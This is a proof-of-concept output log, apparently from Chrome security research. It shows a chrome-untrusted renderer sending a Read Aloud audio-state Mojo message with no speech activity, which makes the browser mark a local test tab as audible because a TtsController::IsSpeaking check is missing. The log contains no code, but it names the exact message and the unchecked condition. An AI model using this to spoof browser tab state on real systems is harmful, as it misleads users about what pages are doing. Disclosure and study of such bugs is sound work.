[POC-RENDERER pid=1548] chrome-untrusted renderer sending UntrustedPageHandler::OnReadAloudAudioStateChange(true) over Mojo with NO speechSynthesis activity [POC-BROWSER pid=1414] OnReadAloudAudioStateChange(playing=1) received from chrome-untrusted renderer [POC-BROWSER] TtsController::IsSpeaking() = 0 <-- browser-side ground truth (NOT checked) [POC-BROWSER] target-tab URL = http://127.0.0.1:8080/target.html [POC-BROWSER] target-tab IsCurrentlyAudible BEFORE = 0 [POC-BROWSER] target-tab IsCurrentlyAudible AFTER = 1 [POC-BROWSER] *** VULN CONFIRMED: target tab marked audible while TtsController::IsSpeaking()==false *** [POC-BROWSER pid=1414] OnReadAloudAudioStateChange(playing=0) received from chrome-untrusted renderer [POC-BROWSER] TtsController::IsSpeaking() = 0 <-- browser-side ground truth (NOT checked) [POC-BROWSER] target-tab URL = http://127.0.0.1:8080/target.html [POC-BROWSER] target-tab IsCurrentlyAudible BEFORE = 1 [POC-BROWSER] target-tab IsCurrentlyAudible AFTER = 0 [POC-BROWSER pid=1414] OnReadAloudAudioStateChange(playing=0) received from chrome-untrusted renderer [POC-BROWSER] TtsController::IsSpeaking() = 0 <-- browser-side ground truth (NOT checked) [POC-BROWSER] target-tab URL = http://127.0.0.1:8080/target.html [POC-BROWSER] target-tab IsCurrentlyAudible BEFORE = 0 [POC-BROWSER] target-tab IsCurrentlyAudible AFTER = 0